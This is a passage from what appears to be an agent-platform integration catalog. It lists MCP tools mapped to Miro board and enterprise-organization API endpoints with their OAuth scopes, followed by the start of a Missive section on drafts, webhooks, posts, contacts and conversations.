mindmap node experimental via GET /v2-experimental/boards/{board_id}/mindmap_nodes/{item_id} GET /api/v1/miro/v2-experimental/boards/{board_id}/mindmap_nodes/{item_id}. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_shapes_by_item_id (read) — Get shape item flowchart via GET /v2-experimental/boards/{board_id}/shapes/{item_id} GET /api/v1/miro/v2-experimental/boards/{board_id}/shapes/{item_id}. Scopes: boards:read. miro_get_v2_orgs_by_org_id (read) — Enterprise get organization via GET /v2/orgs/{org_id} GET /api/v1/miro/v2/orgs/{org_id}. Scopes: organizations:read. miro_get_v2_orgs_by_org_id_ai_interaction_logs (read) — Enterprise get ai interaction logs via GET /v2/orgs/{org_id}/ai-interaction-logs GET /api/v1/miro/v2/orgs/{org_id}/ai-interaction-logs. Scopes: aiinteractionlogs:read. miro_get_v2_orgs_by_org_id_boards_by_board_id_groups (read) — Enterprise boards get groups via GET /v2/orgs/{org_id}/boards/{board_id}/groups GET /api/v1/miro/v2/orgs/{org_id}/boards/{board_id}/groups. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_boards_export_jobs (read) — Enterprise board export jobs via GET /v2/orgs/{org_id}/boards/export/jobs GET /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs. Scopes: boards:export. miro_get_v2_orgs_by_org_id_boards_export_jobs_by_job_id (read) — Enterprise board export job status via GET /v2/orgs/{org_id}/boards/export/jobs/{job_id} GET /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs/{job_id}. Scopes: boards:export. miro_get_v2_orgs_by_org_id_boards_export_jobs_by_job_id_results (read) — Enterprise board export job results via GET /v2/orgs/{org_id}/boards/export/jobs/{job_id}/results GET /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs/{job_id}/results. Scopes: boards:export. miro_get_v2_orgs_by_org_id_boards_export_jobs_by_job_id_tasks (read) — Enterprise board export job tasks via GET /v2/orgs/{org_id}/boards/export/jobs/{job_id}/tasks GET /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs/{job_id}/tasks. Scopes: boards:export. miro_get_v2_orgs_by_org_id_cases (read) — Get all cases via GET /v2/orgs/{org_id}/cases GET /api/v1/miro/v2/orgs/{org_id}/cases. Scopes: organization:cases:management. miro_get_v2_orgs_by_org_id_cases_by_case_id (read) — Get case via GET /v2/orgs/{org_id}/cases/{case_id} GET /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}. Scopes: organization:cases:management. miro_get_v2_orgs_by_org_id_cases_by_case_id_export_jobs (read) — Get legal hold export jobs via GET /v2/orgs/{org_id}/cases/{case_id}/export-jobs GET /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/export-jobs. Scopes: organization:cases:management. miro_get_v2_orgs_by_org_id_cases_by_case_id_legal_holds (read) — Get all legal holds via GET /v2/orgs/{org_id}/cases/{case_id}/legal-holds GET /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/legal-holds. Scopes: organization:cases:management. miro_get_v2_orgs_by_org_id_cases_by_case_id_legal_holds_by_legal_hold_id (read) — Get legal hold via GET /v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id} GET /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id}. Scopes: organization:cases:management. miro_get_v2_orgs_by_org_id_cases_by_case_id_legal_holds_by_legal_hold_id_content_items (read) — Get legal hold content items via GET /v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id}/content-items GET /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id}/content-items. Scopes: organization:cases:management. miro_get_v2_orgs_by_org_id_content_logs_items (read) — Enterprise board content item logs fetch via GET /v2/orgs/{org_id}/content-logs/items GET /api/v1/miro/v2/orgs/{org_id}/content-logs/items. Scopes: contentlogs:export. miro_get_v2_orgs_by_org_id_data_classification_settings (read) — Enterprise dataclassification organization settings get via GET /v2/orgs/{org_id}/data-classification-settings GET /api/v1/miro/v2/orgs/{org_id}/data-classification-settings. Scopes: organizations:read. miro_get_v2_orgs_by_org_id_default_teams_settings (read) — Enterprise get default team settings via GET /v2/orgs/{org_id}/default_teams_settings GET /api/v1/miro/v2/orgs/{org_id}/default_teams_settings. Scopes: organizations:teams:read. miro_get_v2_orgs_by_org_id_groups (read) — Enterprise get groups via GET /v2/orgs/{org_id}/groups GET /api/v1/miro/v2/orgs/{org_id}/groups. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_groups_by_group_id (read) — Enterprise get group via GET /v2/orgs/{org_id}/groups/{group_id} GET /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_groups_by_group_id_members (read) — Enterprise get group members via GET /v2/orgs/{org_id}/groups/{group_id}/members GET /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/members. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_groups_by_group_id_members_by_member_id (read) — Enterprise get group member via GET /v2/orgs/{org_id}/groups/{group_id}/members/{member_id} GET /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/members/{member_id}. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_groups_by_group_id_teams (read) — Enterprise groups get teams via GET /v2/orgs/{org_id}/groups/{group_id}/teams GET /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/teams. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_groups_by_group_id_teams_by_team_id (read) — Enterprise groups get team via GET /v2/orgs/{org_id}/groups/{group_id}/teams/{team_id} GET /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/teams/{team_id}. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_members (read) — Enterprise get organization members via GET /v2/orgs/{org_id}/members GET /api/v1/miro/v2/orgs/{org_id}/members. Scopes: organizations:read. miro_get_v2_orgs_by_org_id_members_by_member_id (read) — Enterprise get organization member via GET /v2/orgs/{org_id}/members/{member_id} GET /api/v1/miro/v2/orgs/{org_id}/members/{member_id}. Scopes: organizations:read. miro_get_v2_orgs_by_org_id_projects_by_project_id_groups (read) — Enterprise projects get groups via GET /v2/orgs/{org_id}/projects/{project_id}/groups GET /api/v1/miro/v2/orgs/{org_id}/projects/{project_id}/groups. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_teams (read) — Enterprise get teams via GET /v2/orgs/{org_id}/teams GET /api/v1/miro/v2/orgs/{org_id}/teams. Scopes: organizations:teams:read. miro_get_v2_orgs_by_org_id_teams_by_team_id (read) — Enterprise get team via GET /v2/orgs/{org_id}/teams/{team_id} GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}. Scopes: organizations:teams:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_boards_by_board_id_data_classification (read) — Enterprise dataclassification board get via GET /v2/orgs/{org_id}/teams/{team_id}/boards/{board_id}/data-classification GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/boards/{board_id}/data-classification. Scopes: boards:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_data_classification_settings (read) — Enterprise dataclassification team settings get via GET /v2/orgs/{org_id}/teams/{team_id}/data-classification-settings GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/data-classification-settings. Scopes: organizations:teams:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_groups (read) — Enterprise teams get groups via GET /v2/orgs/{org_id}/teams/{team_id}/groups GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/groups. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_groups_by_group_id (read) — Enterprise teams get group via GET /v2/orgs/{org_id}/teams/{team_id}/groups/{group_id} GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/groups/{group_id}. Scopes: organizations:groups:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_members (read) — Enterprise get team members via GET /v2/orgs/{org_id}/teams/{team_id}/members GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/members. Scopes: organizations:teams:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_members_by_member_id (read) — Enterprise get team member via GET /v2/orgs/{org_id}/teams/{team_id}/members/{member_id} GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/members/{member_id}. Scopes: organizations:teams:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_projects (read) — Enterprise get projects via GET /v2/orgs/{org_id}/teams/{team_id}/projects GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects. Scopes: projects:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id (read) — Enterprise get project via GET /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id} GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}. Scopes: projects:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_members (read) — Enterprise get project members via GET /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members. Scopes: projects:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_members_by_member_id (read) — Enterprise get project member via GET /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members/{member_id} GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members/{member_id}. Scopes: projects:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_settings (read) — Enterprise get project settings via GET /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/settings GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/settings. Scopes: projects:read. miro_get_v2_orgs_by_org_id_teams_by_team_id_settings (read) — Enterprise get team settings via GET /v2/orgs/{org_id}/teams/{team_id}/settings GET /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/settings. Scopes: organizations:teams:read. miro_patch_v2_boards_by_board_id (write) — Update board via PATCH /v2/boards/{board_id} PATCH /api/v1/miro/v2/boards/{board_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_app_cards_by_item_id (write) — Update app card item via PATCH /v2/boards/{board_id}/app_cards/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/app_cards/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_cards_by_item_id (write) — Update card item via PATCH /v2/boards/{board_id}/cards/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/cards/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_connectors_by_connector_id (write) — Update connector via PATCH /v2/boards/{board_id}/connectors/{connector_id} PATCH /api/v1/miro/v2/boards/{board_id}/connectors/{connector_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_documents_by_item_id (write) — Update document item using url via PATCH /v2/boards/{board_id}/documents/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/documents/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_embeds_by_item_id (write) — Update embed item via PATCH /v2/boards/{board_id}/embeds/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/embeds/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_frames_by_item_id (write) — Update frame item via PATCH /v2/boards/{board_id}/frames/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/frames/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_images_by_item_id (write) — Update image item using url via PATCH /v2/boards/{board_id}/images/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/images/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_items_by_item_id (write) — Update item position or parent via PATCH /v2/boards/{board_id}/items/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/items/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_members_by_board_member_id (write) — Update board member via PATCH /v2/boards/{board_id}/members/{board_member_id} PATCH /api/v1/miro/v2/boards/{board_id}/members/{board_member_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_shapes_by_item_id (write) — Update shape item via PATCH /v2/boards/{board_id}/shapes/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/shapes/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_sticky_notes_by_item_id (write) — Update sticky note item via PATCH /v2/boards/{board_id}/sticky_notes/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/sticky_notes/{item_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_tags_by_tag_id (write) — Update tag via PATCH /v2/boards/{board_id}/tags/{tag_id} PATCH /api/v1/miro/v2/boards/{board_id}/tags/{tag_id}. Scopes: boards:write. miro_patch_v2_boards_by_board_id_texts_by_item_id (write) — Update text item via PATCH /v2/boards/{board_id}/texts/{item_id} PATCH /api/v1/miro/v2/boards/{board_id}/texts/{item_id}. Scopes: boards:write. miro_patch_v2_experimental_boards_by_board_id_code_widgets_by_item_id (write) — Update code widget item via PATCH /v2-experimental/boards/{board_id}/code_widgets/{item_id} PATCH /api/v1/miro/v2-experimental/boards/{board_id}/code_widgets/{item_id}. Scopes: boards:write. miro_patch_v2_experimental_boards_by_board_id_code_widgets_by_item_id_position (write) — Move code widget item via PATCH /v2-experimental/boards/{board_id}/code_widgets/{item_id}/position PATCH /api/v1/miro/v2-experimental/boards/{board_id}/code_widgets/{item_id}/position. Scopes: boards:write. miro_patch_v2_experimental_boards_by_board_id_shapes_by_item_id (write) — Update shape item flowchart via PATCH /v2-experimental/boards/{board_id}/shapes/{item_id} PATCH /api/v1/miro/v2-experimental/boards/{board_id}/shapes/{item_id}. Scopes: boards:write. miro_patch_v2_orgs_by_org_id_groups_by_group_id (write) — Enterprise update group via PATCH /v2/orgs/{org_id}/groups/{group_id} PATCH /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}. Scopes: organizations:groups:write. miro_patch_v2_orgs_by_org_id_groups_by_group_id_members (write) — Enterprise update group members via PATCH /v2/orgs/{org_id}/groups/{group_id}/members PATCH /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/members. Scopes: organizations:groups:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id (write) — Enterprise update team via PATCH /v2/orgs/{org_id}/teams/{team_id} PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}. Scopes: organizations:teams:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_data_classification (write) — Enterprise dataclassification team boards bulk via PATCH /v2/orgs/{org_id}/teams/{team_id}/data-classification PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/data-classification. Scopes: boards:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_data_classification_settings (write) — Enterprise dataclassification team settings set via PATCH /v2/orgs/{org_id}/teams/{team_id}/data-classification-settings PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/data-classification-settings. Scopes: organizations:teams:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_members_by_member_id (write) — Enterprise update team member via PATCH /v2/orgs/{org_id}/teams/{team_id}/members/{member_id} PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/members/{member_id}. Scopes: organizations:teams:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id (write) — Enterprise update project via PATCH /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id} PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}. Scopes: projects:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_members_by_member_id (write) — Enterprise update project member via PATCH /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members/{member_id} PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members/{member_id}. Scopes: projects:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_settings (write) — Enterprise update project settings via PATCH /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/settings PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/settings. Scopes: projects:write. miro_patch_v2_orgs_by_org_id_teams_by_team_id_settings (write) — Enterprise update team settings via PATCH /v2/orgs/{org_id}/teams/{team_id}/settings PATCH /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/settings. Scopes: organizations:teams:write. miro_post_v2_boards (write) — Create board via POST /v2/boards POST /api/v1/miro/v2/boards. Scopes: boards:write. miro_post_v2_boards_by_board_id_app_cards (write) — Create app card item via POST /v2/boards/{board_id}/app_cards POST /api/v1/miro/v2/boards/{board_id}/app_cards. Scopes: boards:write. miro_post_v2_boards_by_board_id_cards (write) — Create card item via POST /v2/boards/{board_id}/cards POST /api/v1/miro/v2/boards/{board_id}/cards. Scopes: boards:write. miro_post_v2_boards_by_board_id_connectors (write) — Create connector via POST /v2/boards/{board_id}/connectors POST /api/v1/miro/v2/boards/{board_id}/connectors. Scopes: boards:write. miro_post_v2_boards_by_board_id_docs (write) — Create doc format item via POST /v2/boards/{board_id}/docs POST /api/v1/miro/v2/boards/{board_id}/docs. Scopes: boards:write. miro_post_v2_boards_by_board_id_documents (write) — Create document item using url via POST /v2/boards/{board_id}/documents POST /api/v1/miro/v2/boards/{board_id}/documents. Scopes: boards:write. miro_post_v2_boards_by_board_id_embeds (write) — Create embed item via POST /v2/boards/{board_id}/embeds POST /api/v1/miro/v2/boards/{board_id}/embeds. Scopes: boards:write. miro_post_v2_boards_by_board_id_frames (write) — Create frame item via POST /v2/boards/{board_id}/frames POST /api/v1/miro/v2/boards/{board_id}/frames. Scopes: boards:write. miro_post_v2_boards_by_board_id_groups (write) — Create group via POST /v2/boards/{board_id}/groups POST /api/v1/miro/v2/boards/{board_id}/groups. Scopes: boards:write. miro_post_v2_boards_by_board_id_images (write) — Create image item using url via POST /v2/boards/{board_id}/images POST /api/v1/miro/v2/boards/{board_id}/images. Scopes: boards:write. miro_post_v2_boards_by_board_id_items_bulk (write) — Create items via POST /v2/boards/{board_id}/items/bulk POST /api/v1/miro/v2/boards/{board_id}/items/bulk. Scopes: boards:write. miro_post_v2_boards_by_board_id_members (write) — Share board via POST /v2/boards/{board_id}/members POST /api/v1/miro/v2/boards/{board_id}/members. Scopes: boards:write. miro_post_v2_boards_by_board_id_platformtags_items_by_item_id (write) — Attach tag to item via POST /v2/boards/{board_id_PlatformTags}/items/{item_id} POST /api/v1/miro/v2/boards/{board_id}/items/{item_id}/tags. Scopes: boards:write. miro_post_v2_boards_by_board_id_shapes (write) — Create shape item via POST /v2/boards/{board_id}/shapes POST /api/v1/miro/v2/boards/{board_id}/shapes. Scopes: boards:write. miro_post_v2_boards_by_board_id_sticky_notes (write) — Create sticky note item via POST /v2/boards/{board_id}/sticky_notes POST /api/v1/miro/v2/boards/{board_id}/sticky_notes. Scopes: boards:write. miro_post_v2_boards_by_board_id_tags (write) — Create tag via POST /v2/boards/{board_id}/tags POST /api/v1/miro/v2/boards/{board_id}/tags. Scopes: boards:write. miro_post_v2_boards_by_board_id_texts (write) — Create text item via POST /v2/boards/{board_id}/texts POST /api/v1/miro/v2/boards/{board_id}/texts. Scopes: boards:write. miro_post_v2_experimental_boards_by_board_id_code_widgets (write) — Create code widget item via POST /v2-experimental/boards/{board_id}/code_widgets POST /api/v1/miro/v2-experimental/boards/{board_id}/code_widgets. Scopes: boards:write. miro_post_v2_experimental_boards_by_board_id_mindmap_nodes (write) — Create mindmap nodes experimental via POST /v2-experimental/boards/{board_id}/mindmap_nodes POST /api/v1/miro/v2-experimental/boards/{board_id}/mindmap_nodes. Scopes: boards:write. miro_post_v2_experimental_boards_by_board_id_shapes (write) — Create shape item flowchart via POST /v2-experimental/boards/{board_id}/shapes POST /api/v1/miro/v2-experimental/boards/{board_id}/shapes. Scopes: boards:write. miro_post_v2_oauth_revoke (write) — Revoke token v2 via POST /v2/oauth/revoke POST /api/v1/miro/v2/oauth/revoke. Scopes: none. miro_post_v2_orgs_by_org_id_boards_by_board_id_groups (write) — Enterprise boards create group via POST /v2/orgs/{org_id}/boards/{board_id}/groups POST /api/v1/miro/v2/orgs/{org_id}/boards/{board_id}/groups. Scopes: organizations:groups:read. miro_post_v2_orgs_by_org_id_boards_export_jobs (write) — Enterprise create board export via POST /v2/orgs/{org_id}/boards/export/jobs POST /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs. Scopes: boards:export. miro_post_v2_orgs_by_org_id_boards_export_jobs_by_job_id_tasks_by_task_id_export_link (write) — Enterprise create board export task export link via POST /v2/orgs/{org_id}/boards/export/jobs/{job_id}/tasks/{task_id}/export-link POST /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs/{job_id}/tasks/{task_id}/export-link. Scopes: boards:export. miro_post_v2_orgs_by_org_id_cases (write) — Create case via POST /v2/orgs/{org_id}/cases POST /api/v1/miro/v2/orgs/{org_id}/cases. Scopes: organization:cases:management. miro_post_v2_orgs_by_org_id_cases_by_case_id_legal_holds (write) — Create legal hold via POST /v2/orgs/{org_id}/cases/{case_id}/legal-holds POST /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/legal-holds. Scopes: organization:cases:management. miro_post_v2_orgs_by_org_id_groups (write) — Enterprise create group via POST /v2/orgs/{org_id}/groups POST /api/v1/miro/v2/orgs/{org_id}/groups. Scopes: organizations:groups:write. miro_post_v2_orgs_by_org_id_groups_by_group_id_members (write) — Enterprise create group member via POST /v2/orgs/{org_id}/groups/{group_id}/members POST /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/members. Scopes: organizations:groups:write. miro_post_v2_orgs_by_org_id_projects_by_project_id_groups (write) — Enterprise project create group via POST /v2/orgs/{org_id}/projects/{project_id}/groups POST /api/v1/miro/v2/orgs/{org_id}/projects/{project_id}/groups. Scopes: organizations:groups:read. miro_post_v2_orgs_by_org_id_teams (write) — Enterprise create team via POST /v2/orgs/{org_id}/teams POST /api/v1/miro/v2/orgs/{org_id}/teams. Scopes: organizations:teams:write. miro_post_v2_orgs_by_org_id_teams_by_team_id_boards_by_board_id_data_classification (write) — Enterprise dataclassification board set via POST /v2/orgs/{org_id}/teams/{team_id}/boards/{board_id}/data-classification POST /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/boards/{board_id}/data-classification. Scopes: boards:write. miro_post_v2_orgs_by_org_id_teams_by_team_id_groups (write) — Enterprise teams create group via POST /v2/orgs/{org_id}/teams/{team_id}/groups POST /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/groups. Scopes: organizations:groups:read. miro_post_v2_orgs_by_org_id_teams_by_team_id_members (write) — Enterprise invite team member via POST /v2/orgs/{org_id}/teams/{team_id}/members POST /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/members. Scopes: organizations:teams:write. miro_post_v2_orgs_by_org_id_teams_by_team_id_projects (write) — Enterprise create project via POST /v2/orgs/{org_id}/teams/{team_id}/projects POST /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects. Scopes: projects:write. miro_post_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_members (write) — Enterprise add project member via POST /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members POST /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members. Scopes: projects:write. miro_post_v2_sessions_reset_all (write) — Enterprise post user sessions reset via POST /v2/sessions/reset_all POST /api/v1/miro/v2/sessions/reset_all. Scopes: sessions:delete. miro_put_v2_boards (write) — Copy board via PUT /v2/boards PUT /api/v1/miro/v2/boards. Scopes: boards:write. miro_put_v2_boards_by_board_id_groups_by_group_id (write) — Update group via PUT /v2/boards/{board_id}/groups/{group_id} PUT /api/v1/miro/v2/boards/{board_id}/groups/{group_id}. Scopes: boards:write. miro_put_v2_orgs_by_org_id_boards_export_jobs_by_job_id_status (write) — Enterprise update board export job via PUT /v2/orgs/{org_id}/boards/export/jobs/{job_id}/status PUT /api/v1/miro/v2/orgs/{org_id}/boards/export/jobs/{job_id}/status. Scopes: boards:export. miro_put_v2_orgs_by_org_id_cases_by_case_id (write) — Edit case via PUT /v2/orgs/{org_id}/cases/{case_id} PUT /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}. Scopes: organization:cases:management. miro_put_v2_orgs_by_org_id_cases_by_case_id_legal_holds_by_legal_hold_id (write) — Edit legal hold via PUT /v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id} PUT /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id}. Scopes: organization:cases:management. ================================================================================ ## Missive URL: https://www.agenticfabriq.com/integrations/missive Section: Integrated Tools Missive — 42 MCP tools Provider key: missive. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. missive_delete_drafts_by_id (write, destructive) — Delete a draft via DELETE /drafts/{id}. Deletes a draft from a conversation. The `:id` parameter is the ID of the draft (returned in the create draft response). The drafts endpoint lets you create email, SMS, WhatsApp and Missive Live Chat drafts that can either be sent immediately or edited and sent from the Missive app. You can create drafts in a new conversation or append them as a reply to an existing one. **This is the endpoint to use for sending emails.** To send immediately, include `send: true` in your request. To reply to an existing conversation, use the `conversation` or `references` parameters. **Example usage:** Create a new draft in a shared label named "Follow up" with a specific body every time someone fills out a form on your website. DELETE /api/v1/missive/drafts/{id}. Scopes: api. missive_delete_hooks_by_id (write, destructive) — Delete webhook via DELETE /hooks/{id}. Delete a webhook subscription. Behind the scene it deletes the rule containing the webhook action. Last updated on September 18th, 2025 Need more specific answers? --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. Example usage Automatically trigger workflows in external systems when new messages arrive or comments are added. DELETE /api/v1/missive/hooks/{id}. Scopes: api. missive_delete_posts_by_id (write, destructive) — Delete a post via DELETE /posts/{id}. Deletes a post from a conversation. The `:id` parameter is the ID of the post (returned in the create post response). For shared conversations, the API token must be generated by an admin in the organization that owns the conversation. Only organization owner and admins have permission to delete posts in conversations shared with their organization. The posts endpoint lets you inject data in any Missive conversation and manage conversation state. You can create posts in new conversations or append them to existing ones. Posts are the recommended way to manage conversations (close, move to inbox, assign users, add labels) from integrations and automations. Each post leaves a visible trace in the conversation showing what triggered the action. Example usage: Each time someone pushes code to Github, create a post that lists the commits. When a support ticket is resolved in your system, create a post that closes the conversation. DELETE /api/v1/missive/posts/{id}. Scopes: api. missive_delete_responses_by_ids (write, destructive) — Delete response(s) via DELETE /responses/{ids}. Deletes one or more responses. For organization responses in organizations with restricted response management enabled (enterprise plan feature), only organization admins and owners have permission to delete responses. Responses created by external integrations (such as WhatsApp templates) cannot be deleted via this endpoint. DELETE /api/v1/missive/responses/{ids}. Scopes: api. missive_get_analytics_reports_by_id (read) — Get analytics report via GET /analytics/reports/{id}. Fetch a report using its id returned by a Create report request. Report data is returned as JSON. Most reports complete within 2 or 3 seconds after creation, but some may take 30 seconds or more. They expire 60 seconds after completion. An empty 404 response is returned for incomplete, expired or inexistent reports. Fetch a report 5 seconds after its creation and retry every 5 seconds until a successful 200 response is returned. Analytics endpoints let you fetch a report based on a selected period and optional filters such as team inbox, users, labels, etc. Two endpoints are involved due to the asynchronous nature of generating reports: one request to create the report and another to get the data shortly after. Analytics API endpoints require a Productive or Business plan. Filtering capabilities (teams, users, labels, accounts) require a Business plan. Example usage Automatically sync analytics data to your Business Intelligence tool. GET /api/v1/missive/analytics/reports/{id}. Scopes: api. missive_get_contact_books (read) — List contact books via GET /contact_books. List contact books the authenticated user has access to. Remember that a contact book `id` is mandatory when creating a contact programmatically. In Missive, contacts are stored in contact books. Contact books can be private or shared with various members of an organization. GET /api/v1/missive/contact_books. Scopes: api. missive_get_contact_groups (read) — List contact groups via GET /contact_groups. List contact groups or organizations linked to a contact book. Contacts can be grouped in both organizations and groups. Organizations are typically used to map a group of related contacts (businesses). Groups are used to group unrelated contacts, think of groups as labels. GET /api/v1/missive/contact_groups. Scopes: api. missive_get_contacts (read) — List contacts via GET /contacts. This endpoint is useful to sync Missive contacts to another service or to find contacts based on some search term. Contact endpoints let you manage your contacts programmatically. Example usage Automatically sync contacts between Missive and your CRM. GET /api/v1/missive/contacts. Scopes: api. missive_get_contacts_by_id (read) — Get a contact via GET /contacts/{id}. Fetch a specific contact using the contact `id`. Trying to get a deleted contact will produce a 404 response. Contact endpoints let you manage your contacts programmatically. Example usage Automatically sync contacts between Missive and your CRM. GET /api/v1/missive/contacts/{id}. Scopes: api. missive_get_conversations (read) — List conversations via GET /conversations. List conversations visible to the user who owns the API token. Must be filtered by mailbox, shared label or team. At least one mailbox filter is required. Omitting all of them returns a `"You need to paginate at least one mailbox"` error. Pass one of: `inbox`, `all`, `assigned`, `closed`, `snoozed`, `flagged`, `trashed`, `junked`, `drafts`, `shared_label`, `team_inbox`, `team_closed`, or `team_all`. Returns conversations ordered from newest to oldest activity. To paginate, pass an `until` param equal to the `last_activity_at` of the oldest conversation returned in the previous page. The last page is reached when fewer conversations than `limit` are returned or if all conversations in a page have the same `last_activity_at`. A page may return more conversations than `limit`. Conversations where the API token user is a guest will be returned with limited data, containing only the `id` and `last_activity_at` fields. The `email`, `domain`, and `contact_organization` parameters are mutually exclusive. You can only use one of these contact filters at a time. Passing multiple will return a 400 error. **Managing conversation state (close, move, assign, etc.)** Use Update conversations to change conversation state without adding a post. Use Posts, Messages, or Drafts when you also want to create visible content in the conversation. Posts are useful for automations and integrations that should leave a visible trace showing what triggered the action. GET /api/v1/missive/conversations. Scopes: api. 